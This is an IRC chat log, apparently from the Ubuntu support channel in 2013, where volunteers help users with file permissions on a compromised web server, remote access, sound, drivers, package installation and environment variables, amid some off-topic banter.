[14:50] <ikonia> I suspect it's just owned by the apache use and group
[14:51] <AcidRain2012> -rw-rw-rw- 1 root root 3335 Sep 12 22:25 index.php
[14:51] <ikonia> AcidRain2012: it's world writable
[14:51] <AcidRain2012> zomg
[14:51] <ikonia> AcidRain2012: that means anyone (including your webserver process) can write to it
[14:51] <AcidRain2012> ikonia, ill change now
[14:51] <ikonia> so an injection into your webserver into a known named file (index.php) will be a BIG hole
[14:52] <ikonia> AcidRain2012: it's too lage to change it now
[14:52] <ikonia> AcidRain2012: your machine is compromised !
[14:52] <KI7MT> The POST update is loading more code,  and the encode post update is executing it, you need to pluc the whole in how they are getting the code to the server in the first place.
[14:52] <KI7MT> plug ..
[14:52] <AcidRain2012> ikonia, i can tell that a bot has done this
[14:52] <ikonia> AcidRain2012: so ?
[14:52] <ikonia> AcidRain2012: what does that have to do with it
[14:52] <ActionParsnip> ikonia: just as bad
[14:52] <nezZario> ikonia: your mom is compromised
[14:52] <AcidRain2012> ikonia, because the given code above CANNOT be executed.
[14:53] <ikonia> AcidRain2012: you have no idea what you are saying
[14:53] <ikonia> AcidRain2012: your machine is compromised, changing permissions now is pointless
[14:53] <ikonia> AcidRain2012: you need to lock down your webserver much better
[14:53] <ikonia> AFTER you have done a re-install
[14:53] <Guest20717> ikonia: it pops up and error that says: your document could not be saved, as it was not possible to write to /media/......../etc/environment          check that you have write access to this file or that enough disk space is available
[14:53] <Guest20717> that is when i try saving
[14:54] <Guest20717> am changing my name to a much simpler string like etc
[14:54] <wessel> Is it possible to set WIN + M to minimize all windows without messing up WIN, type some text (e.g. xchat)
[14:55] <etc> ikonia: this is me Guest20717
[14:55] <wessel> Where WIN + M = both keys at same time, WIN, <some text> is press win key and then just type
[14:56] <krux> wessel, ctrl + super + D does that
[14:56] <krux> nm
[14:57] <sathish> Hey guys, I have installed Ubuntu 13.04 on my laptop but the brightness lock doesn't work, It reverts back to highest brightness every few seconds, How do I fix it? Is there any solutions available?
[14:58] <wessel> krux, super is WIN right? it works win + ctrl + d
[14:58] <wessel> would be nice if win + d already did the trick
[15:00] <krux> wessel, yes.. if you hold super for a sec or two it will show you all the options you got..
[15:00] <wessel> oh cool!
[15:01] <KI7MT> That's one of the best features in Dash :-)
[15:02] <slierfox> Hi all, Im having a problem getting a STK1160 USB to analogue input working, its supposed to be supported but still wont work ? any help appreciated.
[15:02] <quickdry21> I'm running into an issue with some upstart jobs. start works fine, but when i stop them, the command hangs and nothing happens. When i Ctrl+C, the process controlled by upstart is still running. After this happens, any time I start or stop the job, the start/stop command hands and I have to Ctrl+C it, and the job controlled by upstart hasn't been start/stopped.
[15:03] <__raven> hi
[15:03] <__raven> how to "ping" an external hdd to prevent it from going to standby? hdparm does not work.
[15:03] <BluesKaj> slierfox:  and what's a STK1160?
[15:04] <wessel> why does software center install eclipse 3.8 by default? There is 4.x already
[15:04] <ActionParsnip> !latest | wessel
[15:04] <slierfox> BluesKaj  Can I post a link for the wiki for it here ?
[15:04] <etc> ActionParsnip: thanks for your precious responses, am still stuck abit, it is me Guest20717
[15:05] <wessel> Okay, fair enough.
[15:05] <BluesKaj> slierfox:  yes
[15:05] <ActionParsnip> etc: remount the file system as writable
[15:05] <clue_h> __raven, how long does it take before powering down?
[15:05] <slierfox> BluesKaj - http://linuxtv.org/wiki/index.php/Stk1160_based_USB_2.0_video_and_audio_capture_devices
[15:05] <mrrcp> hey whats the best way to remote into another ubuntu system?
[15:05] <mrrcp> i need to help my brother fix something with NETFLIX
[15:06] <etc> ActionParsnip: how can i do that please
[15:06] <clue_h> mrrcp, software like remmina
[15:06] <__raven> clue_h, very short - around two minutes and thats not good for the mechanical parts
[15:07] <ActionParsnip> etc: what mount point is the partition using?
[15:08] <mrrcp> clue_h:  but what if i am in like a hotel and he needs to connect to my laptop
[15:08] <etc> ActionParsnip: i think am not getting you well about mount point, responding in a few secs
[15:08] <mrrcp> will remmina allow us ?
[15:09] <BluesKaj> slierfox:  ok , not familiar with those devices , sorry
[15:09] <slierfox> BluesKaj - ok thanks anyway
[15:09] <ActionParsnip> mrrcp: why would a hotel need to connect to your laptop?
[15:09] <clue_h> __raven, without knowing your hd, i would suggest a cronjob to write to it- but as it is every two minutes that might be over kill
[15:09] <mrrcp> im just giving a example
[15:09] <LinuxGold> ActionParsnip: because NSA asked hotel to do that for them.
[15:10] <KI7MT> __raven, simple way, do a read or write to the drive. Check your BIOS and make sure there is not some strange power saving thing going on, 2 minutes is very short. lastly, look at the HD config params in the kernel.
[15:10] <mrrcp> so my brother is at school and has no control over IP/PORTS etc.. How can i remote into his computer
[15:10] <mrrcp> whats the best way
[15:10] <ActionParsnip> LinuxGold: im sure thats very true....
[15:11] <clue_h> mrrcp, if on the public internet, using remote desktop software is perhaps not a good idea without a vpn or another solution offering encryption.
[15:11] <mrrcp> that a better example i guess
[15:11] <mrrcp> so is there anything I could use?
[15:11] <mrrcp> other than teamviewer?
[15:11] <ActionParsnip> mrrcp: there is no single best way, or the other ways wouldnt exist
[15:11] <ActionParsnip> mrrcp: what is he remoting on to do?
[15:11] <mrrcp> ActionParsnip: i need to remote in to him
[15:11] <mrrcp> but he is on public wifi
[15:11] <ActionParsnip> mrrcp: to do what?
[15:12] <mrrcp> to show him around a few things
[15:12] <mrrcp> and install netflix
[15:12] <mrrcp> for him on ubuntu
[15:12] <ActionParsnip> mrrcp: if the public wifi router is blocking you it will thwart any attempts at all
[15:12] <KI7MT> Probably best for him to remote out than to try and hit a moving target.
[15:12] <ActionParsnip> mrrcp: you can install netflix in terminal
[15:12] <ActionParsnip> mrrcp: you can install openssh-server and connect to that and install netflix
[15:13] <clue_h> mrrcp, i have not used remmina but i believe ssh is supported... but you could just ssh into his box
[15:13] <clue_h> mrrcp, also you might get done for remoting into their network lol
[15:13] <mrrcp> clue_h: its a laptop
[15:14] <clue_h> if as i understand it, you said the other guy is at college
[15:14] <ActionParsnip> mrrcp: sudo apt-add-repository ppa:ehoover/compholio; sudo apt-get update; sudo apt-get install netflix-desktop
[15:14] <ActionParsnip> mrrcp: one command, done
[15:14] <clue_h> there you go
[15:14] <ActionParsnip> mrrcp: you dont need a full desktop to INSTALL netflix at all
[15:15] <kalekip1> Hey, my sound doesn't work anymore on Ubuntu 13.04 :/ Yesterday it worked fine
[15:15] <ActionParsnip> kalekip1: killall pulseaudio; rm -r ~/.config/pulse*    wait 10 seconds and reboot
[15:15] <LinuxGold> it still works, you're just turned deaf.
[15:15] <kalekip1> ActionParsnip: I don't think I am using pulse audio
[15:16] <ActionParsnip> kalekip1: its default installed
[15:16] <mrrcp> ActionParsnip: i understand that.. i want to have the ability to remote in when needed where every he is at to assist him.. Not really looking for a work around. I just was wondering if there were any tools out there other than TeamViewer to allow me to do this..
[15:16] <ActionParsnip> mrrcp: you can use vnc through an ssh tunnel
[15:16] <kalekip1> ActionParsnip: Failed to open output device: pa_stream_writable_size() failed: Connection terminated
[15:16] <mrrcp> yea.. but you still need a ssh tunnel to complete
[15:16] <mrrcp> ok i think i figured the answer out
[15:17] <etc> ActionParsnip: Mounted on /media/dfd5cf8d-f50e-4d76-af87-3628e8879a78
[15:17] <KI7MT> ssh is probably the best tool for the job.
[15:17] <mrrcp> there isnt a tool built in ubuntu to allow us to do that.. but if i have a vpn or ssh tunnel we can
[15:17] <OerHeks> mrrcp, there must be a reason why those ports at that school are closed.
[15:17] <ActionParsnip> etc: sudo mount -o remount,rw /media/dfd5cf8d-f50e-4d76-af87-3628e8879a78
[15:19] <kalekip1> I checked my headset. It's not just the stereoboxes which aren't working.
[15:19] <__raven> how to "ping" an external hdd to prevent it from going to standby? hdparm does not work.
[15:20] <kalekip1> ActionParsnip: No idea?
[15:21] <mikkelam> Hi there. I am on a network where i am not able to port forward. Is there any alternative to utilize?
[15:21] <ActionParsnip> __raven: could cron a job to write to a file on the strage every 30 seconds or so
[15:21] <ActionParsnip> kalekip1: have you searched the web for what the error means?
[15:21] <akshay2000> mikkelam: What're you trying to achieve exactly?
[15:21] <__raven> ActionParsnip, thats a bit difficult because the whole partition is encrypted - any byte in the mbr i could flip?
[15:22] <clue_h> __raven, and within that job probably try udisks  with something like --ata-smart-wakeup
[15:22] <mikkelam> I want to open a port for torrenting
[15:22] <MrMonkey13> new to linux here :-)
[15:22] <ActionParsnip> __raven: if its decrypted and accessible then it doesnt matter if it is encrypted
[15:22] <rypervenche> MrMonkey13: Welcome :)
[15:23] <silvio-> Hey guys how do i start a second mysql instance using mysql_safe on system start up?
[15:23] <akshay2000> mikkelam: Open port from where? Your router? Because, your Ubuntu box should already have the ports open unless you have seperate firewall installed.
[15:23] <KI7MT> var1=$(mktemp ./tm.XXX) && rm "$var1" every 170 sec or so.
[15:23] <MrMonkey13> Q: alright, so when running a program, all I have to do is type the name + & into terminal right, like gimp &
[15:24] <akshay2000> MrMonkey13: You could run it even without the & at the end, I suppose.
[15:24] <kalekip1> ActionParsnip: Yea, for 5 minutes, I'll Google a bit longer :/
[15:24] <mikkelam> akshay2000: I do not have any firewall myself, however my ISP has blocked all incoming ports. I am connected to a WAN with my router, which is already port forwarded
[15:24] <MrMonkey13> akshay2000: they told me to use &, but cool I think I get this
[15:24] <rypervenche> MrMonkey13: I would use the GUI to open it, but you can open it using "command & disown" then you can close the terminal safely.
[15:25] <wessel> Does it make sense to create clickable/runnable desktop icons? Or is this handled differently on Ubuntu?
[15:25] <wessel> For example, I'd like to have a clickable java -jar RapidMiner.jar
[15:25] <ActionParsnip> wessel: you can have desktop icons to launch stuff if you want
[15:25] <wessel> and some Firefox -P MyProfile -no-remote
[15:25] <MrMonkey13> rypervenche: ah, ty
[15:25] <akshay2000> mikkelam: I'm afraid, if ISP is blocking the connections, you can't do much.
[15:25] <ActionParsnip> wessel: if you make .desktop files in /usr/share/applications you can launch them from Dash and even drag them to the Unity launcher
[15:26] <wessel> okay cool
[15:26] <akshay2000> You could tunnel your connection over something though! mikkelam. Something like VPN or tunneling connection over another box which does have open ports should work.
[15:27] <KI7MT> wessel, more info on launchers: https://help.ubuntu.com/community/UnityLaunchersAndDesktopFiles
[15:27] <OerHeks> KI7MT +1
[15:28] <kalekip1> ActionParsnip: Google did not help. I tried adding sudo before and it worked. Now I'll reboot to try it. Thanks
[15:28] <mikkelam> akshay2000: Thanks, i'll consider that!§!
[15:30] <etc> ActionParsnip: still am restricted to write to /etc/environment
[15:31] <MrMonkey13> Agh, this isn't right, does someone know where the "files" file manager shows free space on a disk?
[15:32] <clue_h> MrMonkey13, du -h from command line might be an alternative
[15:32] <ActionParsnip> etc: try:  gksudo gedit    then open the file, remember to open the one ikn the mount point. the /etc folder is the one for the liveCD envionmen
[15:32] <clue_h> i mean df -h
[15:33] <rypervenche> MrMonkey13: I don't really use the GUI anymore, but you can use "df -h" from the command line.
[15:33] <clue_h> or system monitor>file systems tab
[15:34] <MrMonkey13> hmm. thanks guys. I'm going to need a file manager for my file stuff though. np, I already know where I can find some new ones, just wondering whether I could reconfigure the existing one
[15:34] <KI7MT> MrMonkey13, There's lots of ways to show it, but I dont think Nautilus has it built in. You can use. System Monitor, Conky, df / du term commands, etc.
[15:35] <MrMonkey13> yeah that's a... weird thing to exclude
[15:36] <kalekip1> ActionParsnip: I didn't work
[15:36] <KI7MT> MrMonkey13, I was wrong, with dconf-editor: gsettings set org.gnome.nautilus.window-state start-with-status-bar true enables it.
[15:36] <litropy> I want to make it so that I don't have to ente my password every time I try to connect to my university's wifi. My university's connection is a bit non-standard. It uses PEAP with MSCHAPv2, and no certificate.
[15:36] <litropy> enter*
[15:36] <KI7MT> set to false to disable it.
[15:36] <kalekip1> btw, why does my pc reboot if I select "Shut Down ..."
[15:36] <kalekip1> ?
[15:36] <clue_h> MrMonkey13, if nautilus, choose 'go' > then computer, right click file system and it's there in properies as 'free space'
[15:37] <ActionParsnip> kalekip1: do you have the latest BIOS?
[15:37] <KI7MT> Yeah, what he said, that works to :-)
[15:37] <kalekip1> ActionParsnip: How can I check that?
[15:37] <ActionParsnip> kalekip1: manufacturers website
[15:38] <kalekip1> ActionParsnip: It's from 2012, I didn't manually change it
[15:38] <MrMonkey13> chlue_h: hmm, no my precise pangolin doesn't have nautilus. I found it's named Files. good to know tho
[15:38] <clue_h> i'm on precise too lol
[15:38] <clue_h> oh ubuntu 2d
[15:39] <MrMonkey13> *not sure if I said that right :-P
[15:39] <litropy> Windows computers don't have this problem. I think it's because nm wants to make sure I'm not using a certificate, but I'm not sure as to the reason why.
[15:39] <jemand> how do I change the applications that display under the "applications" tab in lucid lynx?
[15:40] <crav> any idea why I'm unable to boot without first loading an install disk?
[15:40] <jemand> for instance, I have gedit on here, but I want ti to show in "office" tools
[15:40] <litropy> dmesg isn't saying anything significant/
[15:41] <KI7MT> MrMonkey13, clue_h with right-click method, need to make sure your on the correct partition, say fer example if home was mounted outside of /root, system would tell you /root free space, not /home.
[15:41] <clue_h> this is why i just use df -h
[15:41] <ActionParsnip> crav: have you written grub to the MBR of the internal disk?
[15:42] <xebra> hi, anyone here knows xampp (you get apache + php + lots of stuff all in one installation)
[15:42] <crav> don't think so.
[15:42] <OerHeks> xebra we do not support xampp, only lamp
[15:43] <kalekip1> xebra: I do. USe LAMP instead
[15:43] <kalekip1> xebra: sudo apt-get install lamp-server^ phpmyadmin
[15:43] <ActionParsnip> !lamp | xebra
[15:43] <KI7MT> Dash >> Disk Analyzer is accurate for all nodes as well.
[15:44] <kalekip1> The X stands for cross-platform if I'm not mistaken. You can use XAMP on Windows as well as Linux as well as Mac
[15:44] <kalekip1> I'd just stick with WAMP (for windows) and LAMP for Linux
[15:44] <KI7MT> xebra, open xterm >> tasksel, select LAMP, <ok> enter passwords, done.
[15:45] <jemand> is it not possible to add programs to the applications tab?
[15:45] <kalekip1> KI7MT, I already told him what he could do. And that's the best answer
[15:45] <crav> well yes, grub loads but not until I  "boot from first HDD", after the
[15:45] <jemand> oh well, I can open the program other ways, it just is less convenient
[15:45] <kalekip1> KI7MT: tasksel can harm your Linux if you don't use it correctly.
[15:45] <m_tadeu> hi..how can I make apt use the system proxy?
[15:46] <KI7MT> How can you mis-use it, its a select or deselect, that's it.
[15:46] <OerHeks> !tasksel
[15:46] <kalekip1> KI7MT: Many people tend to deselect stuff. Deselecting = uninstalling
[15:46] <etc> ActionParsnip: thanks a lot, that solved the issue, :)
[15:46] <MrMonkey13> ah well, what I really wanted to get into is something I noticed with nautilus (other box) and this simply named Files utility as well, which is that when moving files with the mouse it sorts the files into the list. with Windows I came to appreciate that new files appearing in a directory would be placed at the end of the list, until I refresh the list manually.  I don't suppose there's a gsetting for that, off the top of ur heads?
[15:46] <ActionParsnip> etc: yay
[15:46] <etc> now about to restart
[15:46] <mydog2> hmm.. ssh question.. on a target system.. i removed thew authorized_keys file..
[15:46] <KI7MT> It's the default and preferred method for server installs.
[15:46] <mydog2> from the client.. i was still able to login with no passwd...
[15:47] <kalekip1> KI7MT: Like I said, sudo apt-get install lamp-server^ phpmyadmin  is the preferred way.
[15:47] <mydog2> is there a caching file somewhere that i can blow away to test ?
[15:47] <KI7MT> It's the same thing :-) ..
[15:47] <swaq> Guys. I'm swaqqing.
[15:47] <kalekip1> KI7MT: Really?... It's not.
[15:48] <KI7MT> well also lamp-server isn't ins apt cache,
[15:48] <kalekip1> KI7MT: the caret (^) means it's from tasksel. It IS different.
[15:49] <Pici> kalekip1: Its no different.
[15:49] <kalekip1> Pici: In the end it isn't, but when you install it it is.
[15:49] <KI7MT> Ok fare enough, when doing a server install, tasksel is the methood it uses.
[15:50] <kalekip1> KI7MT: Pici: http://askubuntu.com/questions/252056/should-i-use-tasksel-tasks-in-apt-or-install-regular-metapackages
[15:51] <jhutchins> mydog2: There are two authorized_keys files.
[15:51] <swaq> Can you guys feel my swaq, because it's coming in hard.
[15:51] <kalekip1> !ot
[15:51] <etc> ActionParsnip: what advise can you give me, i mis-editted my /etc/environment file as i was installing tomat7, is there another place where i can add the java_home, jre_home, and path value rather than /etc/environment
[15:52] <mydog2> jhutchins,  - hmm.. the 1st ~/.ssh/authorized_keys..  the other would be??
[15:53] <faugusztin> etc: /etc/profile.d ?
[15:54] <KI7MT> kalekip1, so your point is not to use tasksel directly but type out the command manually wiht the carrot [^]
[15:54] <jhutchins> mydog2: I may be wrong, I was thinking there was a system-wide authorized_keys in /etc/ssh/.
[15:54] <kalekip1> KI7MT: Have you ever used that way?
[15:54] <Hundred> is there a command to upgrade my version of Ubuntu to a newer version instead of downloading the liveCD?
[15:54] <kalekip1> KI7MT: It's a lot easier, shorter and safer.
[15:55] <Pici> kalekip1: Did you actually read the page that you linked me to?
[15:55] <jhutchins> !upgrade
[15:55] <kalekip1> Pici: Yes, I did...
[15:55]  * jhutchins gets his bots mixed up...
[15:56] <KI7MT> No, not for any of the hundreds, probably closer to 1000's of server server installs Iv'e done, always used tasksel directly.
[15:56] <Pici> kalekip1: There is nothing non-safe about installing using tasksel.
[15:57] <jhutchins> Hundred: https://help.ubuntu.com/community/UpgradeNotes
[15:57] <kalekip1> Pici: I've heard many people failing, because they unchecked a few of the list. They thought it was unneccerarily, but in the end they saw that unchecking = uninstalling.
[15:57] <jhutchins> Hundred: It's pretty easy and automatic.
[15:58] <KI7MT> Or an array script for i in ${post_ins[@]}; do sudo -yq "$i"; done
[15:58] <Pici> kalekip1: removing tasks can cause some unintended issues, but installing them is just fine.  You don't need to use taskel remove things even if you used it to install things.
[15:58] <swaq> </3 k1l
[15:58] <Pici> swaq: This channel is for Ubuntu support only. If you can't be on-topic, then you will be removed.
[15:59] <KI7MT> whoos, sri wrong channel :-)
[15:59] <kalekip1> KI7MT: Pici: I don't say it is wrong. I only said that it's not the preffered way. It's also quicker. Did you guys ever did the way I do?
[15:59] <kalekip1> preferred*
[15:59] <Hundred> jhutchins so if i have 12.04 i can't upgrade to 13.04?
[15:59] <Pici> kalekip1: Where does it say that it is not the preferred way?
[15:59] <swaq> Pici: But my swaq. I like to swaq while I Ubuntu.
[16:00] <faugusztin> Hundred: you can
[16:00] <KI7MT> I suppose it depends on the persons level of knowledge, or what they are comfortable with, preferred could be different for each.
[16:00] <kalekip1> Pici: Not in the page I sent you, but somewhere else. Do you really want me to waste my time to convince you?
[16:00] <kalekip1> KI7MT: True.
[16:01] <Hundred> faugusztin but i have to upgrade 12.04 to 12.10 then to 13.04?
[16:01] <jenkins101> hi,
[16:01] <MrMonkey13> sorry this is newb is overwhelmed.  where would I find drivers on my disk?  I guess not by browsing around in /dev/ huh? I want to check out my ethernet driver's version and such
[16:01] <faugusztin> Hundred: at worst you will do upgrade twice,  can't remember how it was when i did it
[16:01] <Pici> kalekip1: nevermind.
[16:01] <jenkins101> any one noticed that lates firefox update braeks umask support in firefox?
[16:01] <clue_h> MrMonkey13, try lsmod
[16:02] <etc> faugusztin: which file format is the file that am going to add to /etc/profile.d
[16:02] <etc> ?
[16:02] <faugusztin> etc: it is a standard shell script, just something which is added to your profile
[16:02] <kalekip1> Pici: If you feel comfortable using tasksel, go on. I won't stop you. But at least tell people that my way is quicker and safer. (again, people unchecking stuff = uninstalling)
[16:03] <faugusztin> etc: https://help.ubuntu.com/community/EnvironmentVariables
[16:03] <clue_h> MrMonkey13, and also lspci | grep net. both of those commands may help
[16:03] <KI7MT> MrMonkey13, drivers are built into the kernel or built as a module, have a look at lsmod: lsmod | less
[16:05] <bejker> please help! what to do when i have diferent driver instaled and diferent driver is in kernel
[16:05] <faugusztin> etc: if you look at /etc/profile, you can see it goes through those /etc/profile.d/*.sh scripts and adds them to your enviroment
[16:05] <bejker> system is crash
[16:05] <Pici> kalekip1: I'm not going to tell anyone that, sorry.
[16:05] <kalekip1> Pici: No problem, you live in a free world (where people get killed :o).
[16:06] <MrMonkey13> thx again, clue_h, KI7MT.
[16:06] <mydog2> jhutchins,  - pretty sure you were/are!! no prob...
[16:06] <kalekip1> Back to my question, I don't hear any output sound on Ubuntu 13.04. Yesterday everything worked fine.
[16:06] <KI7MT> It's no different that changing one word for another, apt-get install v.s. apt-get remove, it's all dangerous if used incorrectly.
[16:07] <mydog2> it appears that just appending extra text on to the filename.. is still read as authorized_keys but prepending to the file.. gets the test i want..
[16:07] <kalekip1> KI7MT: "remove" and uncheck is totally different. Bu
[16:07] <linuxearth> please solve my issue: http://paste.ubuntu.com/6124525/
[16:07] <faugusztin> kalekip1: well, can you rule out hardware issue first ? In my case when this happened it was the line out connector on the motherboard :D
[16:08] <linuxearth> please solve my issue: http://paste.ubuntu.com/6124525/
[16:08] <kalekip1> linuxearth: IP address is safe. Your country can be easily be guessed though. It's almost always correct.
[16:08] <bejker> please help i have diferent driver version installed, and diferent driver version is in kernel and system crash what to do?
[16:09] <kalekip1> linuxearth: Your ISP will hide your personal details. If I WHOIS check you, then I will get the location of your ISP. Only a few are allowed to ask about your details when needed. (e.g. the FBI)
[16:09] <kalekip1> !whois | linuxearth
[16:10] <linuxearth> kalekip1: dude, i am not talking of here
[16:10] <linuxearth> but i am even concerned about the emails, for example, yahoo
[16:11] <bejker> i see nobody want to help me :/ nice support
[16:11] <KI7MT> if you use yahoo, gmail, etc the mail-transport header will have their IP address not yours.
[16:11] <gordonjcp> !patience | bejker
[16:11] <linuxearth> kalekip1: i am more concerned of the email generated from my ip, are they read anywhere or am i secured?
[16:11] <KI7MT> However, yahoo or gmail will have the history of where you connected to them from.
[16:12] <kalekip1> linuxearth: You are never secure on the internet.
[16:12] <kalekip1> For the last security news, bookmark: http://svpn.com/
[16:12] <k1l> bejker: with that less informations is would suggest to remove the different drivers and just install the driver from the official repos
[16:12] <faugusztin> linuxearth: the only safe way of communication is a in-person delivery of a letter which has no DNA on it :)
[16:13] <kalekip1> linuxearth: http://thehackernews.com/2013/08/Gmail-Privacy-surveillance-Snowden-Google.html
[16:13] <linuxearth> correct faugusztin,
[16:13] <gordonjcp> handy security hint, guys
[16:13] <linuxearth> but that takes much time
[16:13] <gordonjcp> no-one cares about you
[16:13] <KI7MT> even 256 can be cracked, so not to much free 100% secure stuff around these days.
[16:13] <gordonjcp> linuxearth: I guarantee no-one is reading your email
[16:13] <kalekip1> KI7MT: SHA512 + salt is very secure if used correctly.
[16:13] <gordonjcp> linuxearth: you, maybe
[16:14]  * MSHughes proceeds to read linuxearth's emails
[16:14] <KI7MT> I know I use it, but it' can be cracked.
[16:14] <tenc> What is the difference between Ubuntu and Xubuntu? Are the differences isolated to desktop and prepackaged software? Are there core differences beyond that?
[16:14] <bejker> k1l: i install from oficial repo, i use sgfxi to update nvidia graphic driver, and it's update to new version but, right now driver version is 304.108 and in kernel is still 304.88
[16:14] <litropy> I was disco for a bit. If my question was answered, I didn't get it/
[16:15] <gordonjcp> KI7MT: 73s de MM0YEQ
[16:15] <kalekip1> faugusztin: Sorry, late reply. My hardware should be fine. I think the drivers are messed up.
[16:15] <KI7MT> for example: tar cfJ - mykeys | openssl enc -aes-256-cbc -e > my-keys.tar.xz  but the NSA can crack it.
[16:16] <KI7MT> gordonjcp, rr .. I used to be M0EHA also :-)
[16:16] <linuxearth> gordonjcp: how do you guarantee and how ?
[16:16] <k1l> bejker: why you do that? sgfxi is not in the ubuntu repos.
[16:16] <gordonjcp> linuxearth: you're just not interesting enough
[16:16] <kalekip1> !ot | linuxearth
[16:16] <k1l> bejker: so that is causing problems
[16:16] <gordonjcp> KI7MT: oh seriously?
[16:16] <KI7MT> Yeah, lived in York fer about 6 yrs.
[16:16] <kalekip1> linuxearth: Go to ##security
[16:16] <etc> faugusztin: ActionParsnip: ikonia: you guys are very best guys, am so grateful for all your guidances, am now going to reboot and continue with my work :)
[16:16] <bejker> sgfxi is a self-updating nvidia, ati/amd fglrx, and xorg free driver installer and xorg configuration script written for originally for Debian, but since expanded to also include support for Ubuntu and Arch Linux systems.3
[16:17] <linuxearth> kalekip1: thanks dude
[16:17] <gordonjcp> KI7MT: cool, I quite like York as long as I don't have to drive a truck in it ;-)
[16:17] <k1l> bejker: but its not supported by ubuntu
[16:17] <k1l> bejker: so that is causing the problems. remove the drivers and dont use sgfxi
[16:17] <bejker> ok how to fix that?
[16:17] <KI7MT> gordonjcp, yeah, kinda rough once your inside the Ring-Road :-)
[16:17] <bejker> but how to remove
[16:17] <gordonjcp> KI7MT: try it in a 7.5 tonner...
[16:18] <phunyguy> offtopic, etc.
[16:18] <KI7MT> LOL no thanks
[16:18] <gordonjcp> KI7MT: I must get up on 30m myself, just looking at your QRZ page
[16:18] <kalekip1> Blweh. No sound at all >.<
[16:18] <KI7MT> 30m = Magic Band !!
[16:18] <gordonjcp> KI7MT: apparently so
[16:19] <gordonjcp> KI7MT: I have no 30m TX although I can receive
[16:19] <gordonjcp> KI7MT: my HF rig pre-dates 30m and WARC
[16:20] <KI7MT> Yeah, that' a problem then, gotta have 30m, all the DXE's hit 30m now days, that band just works.
[16:20] <kalekip1> Hey, my sound doesn't work anymore on Ubuntu 13.04.  Yesterday it worked fine. Any solutions?
[16:20] <bejker> kalekip1: aslaconfig
[16:21] <bejker> alsaconfig
[16:21] <OerHeks> kalekip1, did you tried removing the .pulseaudio folder?
[16:21] <gordonjcp> KI7MT: yeah I often listen to PSK31 on 30m
[16:21] <gordonjcp> KI7MT: I need to sort out my Notice of Variation to get on 60m ;-)
[16:21] <kalekip1> OerHeks: No, I only used killall pulseaudio; rm -r ~/.config/pulse*
[16:22] <KI7MT> kalekip1, http://blog.ubuntulinuxguide.com/2013/06/static-background-noise-ubuntu-1304.html
[16:22] <KI7MT> and http://askubuntu.com/questions/291165/sound-problems-after-upgading-to-13-04
[16:22] <OerHeks> kalekip1, that would do the same. check alsamixer and see with F6 if the right soundcard is selected and all levels are up
[16:22] <faugusztin> bejker: did you tried booting with different boot parameters ? i mean when you are presented with grub menu, press e to edit the selected row, remove quiet splash, add text and try to boot that way. it should go to text mode instead of GUI, thus it should not lock up when starting X ? after that just remove the mess you created :)
[16:23] <KI7MT> Seems there's a udev issues of sorts, need to read futher to pin point it exactly.
[16:23] <kalekip1> OerHeks: Where do I find alsamixer? :3
[16:23] <bejker> faugusztin:  i cant startx :D
[16:23] <KI7MT> gordonjcp, JT65 / JT9 on 30m, great modes as is CW of cource.
[16:23] <OerHeks> kalekip1, terminal: alsamixer # it is a tty app
[16:24] <faugusztin> bejker:  oh so you can boot then ? then i guess your best way to fix it would be removing nvidia drivers and then readding them again, that should overwrite the existing modules
[16:24] <bejker> faugusztin:  right now i instaled officiall driver what ubuntu find and i hope its work
[16:24] <gordonjcp> KI7MT: my CW is terrible, but I'm working on it.  Never got the wsjt stuff to work, all the deps on Fortran scared me off
[16:24] <faugusztin> kalekip1: alsa-utils ?
[16:24] <kalekip1> got the screen
[16:25] <KI7MT> gordonjcp, dont need gfortran to run, only to build the apps, that and Qt5, FFTW and Hamlib.
[16:25] <helasraizam> Hey guys, how do I get rid of a broken package whose uninstall script doesn't work?  sudo dpkg --configure -a, sudo dpkg install -f --force-all, sudo apt-get autoremove/clean/update/upgrade fails at each step citing the broken dpkg package.  The package is emacs-snapshot from Cassou's repo (the bug has been reported by another user), but I just want to get rid of it and go back to emacs24.
[16:25] <Mouser25> I have a DEL Latitude E5510 That I Installed Ubuntu 13.04 64bit and it worked great with 3G of ram but yesterday I upgraded it to 8GB and it wont boot with the new memory without loading the kernel with the mem=4096M option ...  Any Ideas on how to use all 8GB - system usage for the video card and what not?   There is no Memory Remap option in the bios that I can find and the bios detects all 8G of ram.
[16:25] <kalekip1> faugusztin: OerHeks: https://www.dropbox.com/s/yepzpjb998di6hu/Screenshot%20from%202013-09-18%2018%3A24%3A54.png
[16:25] <kalekip1> If it helps
[16:25] <kalekip1> xD
[16:25] <bejker> faugusztin:  i use right now additional drivers tool
[16:26] <OerHeks> kalekip1, test them both my guess is the Nvidia card
[16:27] <kalekip1> Honestly, I have no idea how it works.
[16:27] <avnish> how to run phython
[16:27] <OerHeks> kalekip1, and maximize that terminal, alsamixer has a lot of settings
[16:27] <OerHeks> kalekip1, arrow up and enter
[16:27] <helasraizam> Avnish, a python script or just the python terminal?
[16:27] <KI7MT> helasraizam, when all else fails, but the install pck list and manually remove them. Your better off build the source and using checkinstall as the pkg manager than using dpkg.
[16:28] <kalekip1> O.o
[16:28] <kalekip1> OerHeks: I hear sound again! XD
[16:28] <helasraizam> KI7MT I was afraid someone would say that.  There is really no better way than manually?  (I don't know what a pck list and checkinstall are)
[16:28] <OerHeks> kalekip1, have fun
[16:28] <faugusztin> Mouser25: Latitude E5510 is has a H55 chipset, memory remap is gone since... i think P35, so you won't find that there. my guess would be some strange ugly conflict of some hardware with fixed memory address. did you tried to look if there are no known issues with that laptop and that much ram ?
[16:29] <kalekip1> OerHeks: Thanks, even though your solution didn't help me.
[16:29] <KI7MT> helasraizam, not is apt-, apptitude or dpkg is falling over whn you try to remove them, that's the three main engines.
[16:29] <avnish> how to became a proffesional hacker
[16:29] <helasraizam> lol avnish
[16:29] <kalekip1> OerHeks: I had a HP and a stereobox plugged in at the same time. I guess Linux can't handle them both together?
[16:29] <KI7MT> avnish, study, allot
[16:29] <kalekip1> OerHeks: In Windows it works just fine.
[16:30] <avnish> phython script
[16:30] <OerHeks> kalekip1, line out and headphones?
[16:30] <avnish> is there any sight from which i ccan read
[16:30] <faugusztin> kalekip1: two analog devices from one sound card ?
[16:30] <kalekip1> sec.
[16:31] <Mouser25> faugusztin,  I have done a-lot of looking but I haven't come up with much I did find that some people reported issues with the UEFI and AHCI with 4G or greater but I tried to turn both off and I had the same results although Grub runs better in Legacy bios mode than it does in UEFI Mode
[16:31] <KI7MT> avnish, start here: http://gcc.gnu.org/
[16:31] <SeventhSamuari> 2.4ghz mouse question. When ever my laptop is not plugged into a power source it lags. I have looked all over the power setting and I dont see anything that would cause it.
[16:32] <SeventhSamuari> Any ideas?
